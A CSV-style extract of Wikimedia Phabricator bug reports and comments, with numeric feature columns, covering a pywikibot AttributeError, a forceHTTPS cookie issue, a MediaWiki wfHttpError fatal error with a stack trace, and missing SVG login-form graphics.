86621,AttributeError: 'HttpRequest' object has no attribute '_join',"D:\Py\rewrite>`pwb.py interwiki -async -cleanup -whenneeded:5 -family:wiktionary -untranslated -lang:ast -subcats:Llingües -array:300`

```
ERROR: Traceback (most recent call last):
  File ""D:\Py\rewrite\pywikibot\data\api.py"", line 937, in submit
    headers=headers, body=body)
  File ""D:\Py\rewrite\pywikibot\tools.py"", line 679, in wrapper
    return obj(*__args, **__kw)
  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 256, in request
    r = fetch(baseuri, *args, **kwargs)
  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 353, in fetch
    request._join()  # wait for it
AttributeError: 'HttpRequest' object has no attribute '_join'


WARNING: Waiting 5 seconds before retrying.
```

after replacing bot with latest nightly:


```

ERROR: Traceback (most recent call last):
  File ""D:\Py\rewrite\pywikibot\data\api.py"", line 983, in submit
    headers=headers, body=body)
  File ""D:\Py\rewrite\pywikibot\tools.py"", line 711, in wrapper
    return obj(*__args, **__kw)
  File ""D:\Py\rewrite\pywikibot\comms\http.py"", line 248, in request
    baseuri = site.base_url(uri)
  File ""D:\Py\rewrite\pywikibot\site.py"", line 641, in __getattr__
    % (self.__class__.__name__, attr))
AttributeError: APISite instance has no attribute 'base_url'

WARNING: Waiting 5 seconds before retrying.

```",Medium,50.0,1421137807,1421220620.0,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_description,invalid,True,c3,1,True,True,True,-25,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.6666666666666666,"D:\Py\rewrite>CODE

``CODE`CODE`CODE``"
400052,AttributeError: 'HttpRequest' object has no attribute '_join',"Okay that is indeed then strange behavior, but I'm not sure what “SVN Update” actually does. Maybe it doesn't change files which are currently write protected or so. But even then why should threadedhttp.py and site.py be write protected.",,,1421324878,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,13.0,2.0,9.0,4.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25531914893617,0.8723404255319149,"Okay that is indeed then strange behavior, but I'm not sure what “SVN Update” actually does. Maybe it doesn't change files which are currently write protected or so. But even then why should threadedhttp.py and site.py be write protected."
399429,AttributeError: 'HttpRequest' object has no attribute '_join',">>! In T86621#975389, @XZise wrote:
> I know a clear installation worked, but that looked like you didn't update the `pywikibot/family.py` file.

I made ""SVN Update"" as usually. ",,,1421237390,,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8461538461538461,"QUOTE
QUOTE

I made ""SVN Update"" as usually. "
399407,AttributeError: 'HttpRequest' object has no attribute '_join',"And the first traceback indicates that `pywikibot.comms.threadedhttp` wasn't updated, because I'm pretty certain that tests would've failed immediately if the first bug were actually in there. Maybe on a previous update you accidentally moved the contents into the wrong directory and it only updated half? Although it looks like `pywikibot.comms.http` got updated and that is in the same directory as `threadedhttp`. The second one is also related to a `http` module which is newer than other files, so maybe it was the other way around that only `http` was updated.",,,1421233647,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,3.0,1.0,10.0,4.0,1.0,1.0,1.0,3.0,3.0,0.0,2.0,0.0,1.0,0.0,13.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,12.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,7.0,10.0,6.0,4.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,14.0,5.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,4.242424242424242,0.6868686868686869,"And the first traceback indicates that CODE wasn't updated, because I'm pretty certain that tests would've failed immediately if the first bug were actually in there. Maybe on a previous update you accidentally moved the contents into the wrong directory and it only updated half? Although it looks like CODE got updated and that is in the same directory as CODE. The second one is also related to a CODE module which is newer than other files, so maybe it was the other way around that only CODE was updated."
399371,AttributeError: 'HttpRequest' object has no attribute '_join',"I know a clear installation worked, but that looked like you didn't update the `pywikibot/family.py` file.",,,1421227013,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,1.0,"I know a clear installation worked, but that looked like you didn't update the CODE file."
399349,AttributeError: 'HttpRequest' object has no attribute '_join',clear isntalation of bot solved it.,,,1421220620,,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,clear isntalation of bot solved it.
86601,Check for forceHTTPS=$somethingOtherThan1 and ignore it,">>! In T72145#730119, @csteipp wrote:
> On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.
> 
> The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.

This is still annoying people :)",Medium,50.0,1421102931,,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-b5ivx6d5t65oqwmvwg66,task_description,open,True,c3,1,True,False,,-25,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,36.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.6428571428571429,"QUOTE
QUOTE
QUOTE
QUOTE

This is still annoying people :)"
86398,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","wfHttpError assumes, that $wgOut is an instance of OutputPage and runs ->disable() on it:
https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/GlobalFunctions.php#L2078

I had some fatal errors in my error_log of my production server, so i tracked the problem down, and it seems, that wfHttpError can be called, before wgOut is set, here a stack trace (because i can't reproduce this error myself, because it seems to occur only on api calls and only specific times (always, when the mysql user exceeded the max_user_connection limit, which is another problem. So i had to workaround to get a stack trace, because it's only a webspace hoster, no possibility to enable anything to log fatal error stack traces):

```
#0 and #1 are catching functions (called when wgOut isn't an instance of OutputPage in wfHttpError) to log the stack trace
#2 {wikiroot}/includes/exception/MWException.php(228): wfHttpError(500, 'Internal Server Error', 'DB connection error
')
#3 {wikiroot}/includes/exception/MWExceptionHandler.php(59): MWException->report()
#4 {wikiroot}/includes/exception/MWExceptionHandler.php(159): MWExceptionHandler->report(DBConnectionError::__set_state(array(
   'error' => 'User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15) (127.0.0.1)',
   'db' => 
  DatabaseMysqli::__set_state(array(
     'lastKnownSlavePos' => NULL,
     'mFakeSlaveLag' => NULL,
     'mFakeMaster' => false,
     'serverVersion' => NULL,
     'mLastQuery' => '',
     'mDoneWrites' => false,
     'mPHPError' => 'mysqli::real_connect(): (42000/1226): User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15)',
     'mServer' => '127.0.0.1',
     'mUser' => '{user}',
     'mPassword' => '{pass}',
     'mDBname' => '{db}',
     'mConn' => false,
     'mOpened' => false,
     'mTrxIdleCallbacks' => 
    array (
    ),
     'mTrxPreCommitCallbacks' => 
    array (
    ),
     'mTablePrefix' => '',
     'mSchema' => NULL,
     'mFlags' => 24,
     'mForeign' => false,
     'mErrorCount' => 0,
     'mLBInfo' => 
    array (
      'host' => '127.0.0.1',
      'user' => '{user}',
      'password' => '{pass}',
      'dbname' => '{db}',
      'type' => 'mysql',
      'load' => 1,
      'flags' => 16,
      'serverIndex' => 0,
    ),
     'mDefaultBigSelects' => NULL,
     'mSchemaVars' => false,
     'preparedArgs' => NULL,
     'htmlErrors' => '',
     'delimiter' => ';',
     'mTrxLevel' => 0,
     'mTrxShortId' => '',
     'mTrxTimestamp' => NULL,
     'mTrxFname' => NULL,
     'mTrxDoneWrites' => false,
     'mTrxAutomatic' => false,
     'mTrxAtomicLevels' => 
    SplStack::__set_state(array(
    )),
     'mTrxAutomaticAtomic' => false,
     'fileHandle' => NULL,
     'allViews' => NULL,
  )),
   'message' => 'DB connection error: User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15) (127.0.0.1)',
   'string' => '',
   'code' => 0,
   'file' => '{wikiroot}/includes/db/Database.php',
   'line' => 1016,
   'trace' => 
  array (
    0 => 
    array (
      'file' => '{wikiroot}/includes/db/LoadBalancer.php',
      'line' => 783,
      'function' => 'reportConnectionError',
      'class' => 'DatabaseBase',
      'type' => '->',
      'args' => 
      array (
        0 => 'Unknown error (127.0.0.1)',
      ),
    ),
    1 => 
    array (
      'file' => '{wikiroot}/includes/db/LoadBalancer.php',
      'line' => 494,
      'function' => 'reportConnectionError',
      'class' => 'LoadBalancer',
      'type' => '->',
      'args' => 
      array (
      ),
    ),
    2 => 
    array (
      'file' => '{wikiroot}/includes/GlobalFunctions.php',
      'line' => 3567,
      'function' => 'getConnection',
      'class' => 'LoadBalancer',
      'type' => '->',
      'args' => 
      array (
        0 => -1,
        1 => 
        array (
        ),
        2 => false,
      ),
    ),
    3 => 
    array (
      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
      'line' => 1175,
      'function' => 'wfGetDB',
      'args' => 
      array (
        0 => -1,
      ),
    ),
    4 => 
    array (
      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
      'line' => 405,
      'function' => 'get',
      'class' => 'LCStoreDB',
      'type' => '->',
      'args' => 
      array (
        0 => 'de',
        1 => 'deps',
      ),
    ),
    5 => 
    array (
      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
      'line' => 451,
      'function' => 'isExpired',
      'class' => 'LocalisationCache',
      'type' => '->',
      'args' => 
      array (
        0 => 'de',
      ),
    ),
    6 => 
    array (
      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
      'line' => 327,
      'function' => 'initLanguage',
      'class' => 'LocalisationCache',
      'type' => '->',
      'args' => 
      array (
        0 => 'de',
      ),
    ),
    7 => 
    array (
      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
      'line' => 261,
      'function' => 'loadItem',
      'class' => 'LocalisationCache',
      'type' => '->',
      'args' => 
      array (
        0 => 'de',
        1 => 'fallback',
      ),
    ),
    8 => 
    array (
      'file' => '{wikiroot}/languages/Language.php',
      'line' => 4320,
      'function' => 'getItem',
      'class' => 'LocalisationCache',
      'type' => '->',
      'args' => 
      array (
        0 => 'de',
        1 => 'fallback',
      ),
    ),
    9 => 
    array (
      'file' => '{wikiroot}/languages/Language.php',
      'line' => 208,
      'function' => 'getFallbacksFor',
      'class' => 'Language',
      'type' => '::',
      'args' => 
      array (
        0 => 'de',
      ),
    ),
    10 => 
    array (
      'file' => '{wikiroot}/languages/Language.php',
      'line' => 167,
      'function' => 'newFromCode',
      'class' => 'Language',
      'type' => '::',
      'args' => 
      array (
        0 => 'de',
      ),
    ),
    11 => 
    array (
      'file' => '{wikiroot}/includes/Setup.php',
      'line' => 608,
      'function' => 'factory',
      'class' => 'Language',
      'type' => '::',
      'args' => 
      array (
        0 => 'de',
      ),
    ),
    12 => 
    array (
      'file' => '{wikiroot}/includes/WebStart.php',
      'line' => 121,
      'args' => 
      array (
        0 => '{wikiroot}/includes/Setup.php',
      ),
      'function' => 'require_once',
    ),
    13 => 
    array (
      'file' => '{wikiroot}/api.php',
      'line' => 43,
      'args' => 
      array (
        0 => '{wikiroot}/includes/WebStart.php',
      ),
      'function' => 'require',
    ),
  ),
   'previous' => NULL,
)))
```

Called URL. /api.php?hidebots=1&amp;days=7&amp;limit=50&amp;action=feedrecentchanges&amp;feedformat=atom

In Setup.php, wgContLang is set ([[ https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/Setup.php#L608 | L608 ]]) before wgOut is set ([[ https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/Setup.php#L628 | L628 ]]), which results in Fatal errors in some special cases.",Medium,50.0,1420859904,1421122479.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_description,resolved,True,c3,1,True,True,True,-25,True,1.0,0.5,0.0,2.0,0.5,2.5,1.0,1.5,0.0,0.0,2.0,0.5,0.0,1.5,0.0,3.5,0.0,4.0,12.0,0.5,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.5,2.0,0.0,0.0,1.0,1.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,18.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,7.5,3.5,1.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.5,12.0,5.0,0.0,0.0,0.0,5.5,0.0,1.5,2.0,0.5,0.0,0.0,0.0,2.0,4.069778082818576,0.6842827728208648,"wfHttpError assumes, that $wgOut is an instance of OutputPage and runs ->disable() on it:
URL

I had some fatal errors in my error_log of my production server, so i tracked the problem down, and it seems, that wfHttpError can be called, before wgOut is set, here a stack trace (because i can't reproduce this error myself, because it seems to occur only on api calls and only specific times (always, when the mysql user exceeded the max_user_connection limit, which is another problem. So i had to workaround to get a stack trace, because it's only a webspace hoster, no possibility to enable anything to log fatal error stack traces):

``CODE``

Called URL. /api.php?hidebots=1&amp;days=7&amp;limit=50&amp;action=feedrecentchanges&amp;feedformat=atom

In Setup.php, wgContLang is set ([[ URL | L608 ]]) before wgOut is set ([[ URL | L628 ]]), which results in Fatal errors in some special cases."
398603,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","Change 184486 merged by jenkins-bot:
Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet

[[https://gerrit.wikimedia.org/r/184486]]",,,1421103743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.46875,0.875,"Change 184486 merged by jenkins-bot:
Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet

[[GERRIT_URL]]"
398554,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","Change 184486 had a related patch set uploaded (by Anomie):
Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet

[[https://gerrit.wikimedia.org/r/184486]]

#patch-for-review",,,1421099442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.441860465116279,0.7906976744186046,"Change 184486 had a related patch set uploaded (by Anomie):
Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet

[[GERRIT_URL]]

#patch-for-review"
86225,Graphics on the login and create account forms are not SVG,"Graphics on the login and create account forms are not SVG. And that's terrible.

There are four large-ish drawings and one tiny icons in `resources/src/mediawiki.special/images` that are used in login form or account creation form.",Medium,50.0,1420746433,,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-yhbcve5g2wopseezdanf,task_description,open,True,c3,1,True,False,,-25,True,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,12.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.880952380952381,0.7619047619047619,"Graphics on the login and create account forms are not SVG. And that's terrible.

There are four large-ish drawings and one tiny icons in CODE that are used in login form or account creation form."
418077,Graphics on the login and create account forms are not SVG,"Thanks, @Pginer-WMF!

It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.

contributors-icon.svg probably changed during the design process.

The ones we're still looking for are:

* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/glyph-people-large.png
* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/icon-lock.png (just a lock, we have another in SVG at https://www.mediawiki.org/wiki/File:Locked_icon.svg)
* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/icon-contributors.png (this is the one that probably changed from the one you provided).",,,1424995825,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,14.0,1.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,8.0,11.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,4.1891891891891895,0.7162162162162162,"Thanks,SCREEN_NAME-WMF!

It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.

contributors-icon.svg probably changed during the design process.

The ones we're still looking for are:

* URL
* URL (just a lock, we have another in SVG at URL
* URL (this is the one that probably changed from the one you provided)."
418076,Graphics on the login and create account forms are not SVG,"Thanks, @Pginer-WMF!

It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.

contributors-icon.svg probably changed during the design process.

The ones we're still looking for are:

* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/glyph-people-large.png
* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/icon-lock.png (just a lock, we have another in SVG at https://www.mediawiki.org/wiki/File:Locked_icon.svg)
* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/icon-contributors.png (this is the one that probably changed from the one you provided).",,,1424995756,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,14.0,1.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,8.0,11.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,4.1891891891891895,0.7162162162162162,"Thanks,SCREEN_NAME-WMF!

It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.

contributors-icon.svg probably changed during the design process.

The ones we're still looking for are:

* URL
* URL (just a lock, we have another in SVG at URL
* URL (this is the one that probably changed from the one you provided)."
417585,Graphics on the login and create account forms are not SVG,"I have found [[ https://www.dropbox.com/s/oz1cjgfqxmhsxce/Account-Creation-Mockup.psd?dl=0 | the following mockup ]] in the design folder. I extracted the three icons that appear in the mockup as SVG:

{F47553}

{F47554}

{F47555}

If those are not the icons, please provide a screenshot with the icons you are looking for, and I'll try to find them.",,,1424949860,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,3.0,13.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,7.0,10.0,4.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,1.0,3.3142857142857145,0.6714285714285714,"I have found [[ URL | the following mockup ]] in the design folder. I extracted the three icons that appear in the mockup as SVG:

{F47553}

{F47554}

{F47555}

If those are not the icons, please provide a screenshot with the icons you are looking for, and I'll try to find them."
399877,Graphics on the login and create account forms are not SVG,"Munaf was kind enough to reply.  He said the vector versions were originally in a PSD, but he couldn't find it.  He mentioned that Steven Walling (also no longer a WMF employee), @HowieF  or @Pginer-WMF might have them.  He also said they might be on Google Drive.

P.S. Munaf says hi. :)",,,1421283396,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,20.0,2.0,2.0,6.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,11.0,6.0,17.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,3.7846153846153845,0.7692307692307693,"Munaf was kind enough to reply.  He said the vector versions were originally in a PSD, but he couldn't find it.  He mentioned that Steven Walling (also no longer a WMF employee),SCREEN_NAME  orSCREEN_NAME-WMF might have them.  He also said they might be on Google Drive.

P.S. Munaf says hi. :)"
399326,Graphics on the login and create account forms are not SVG,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See https://gerrit.wikimedia.org/r/#/c/30637/ .

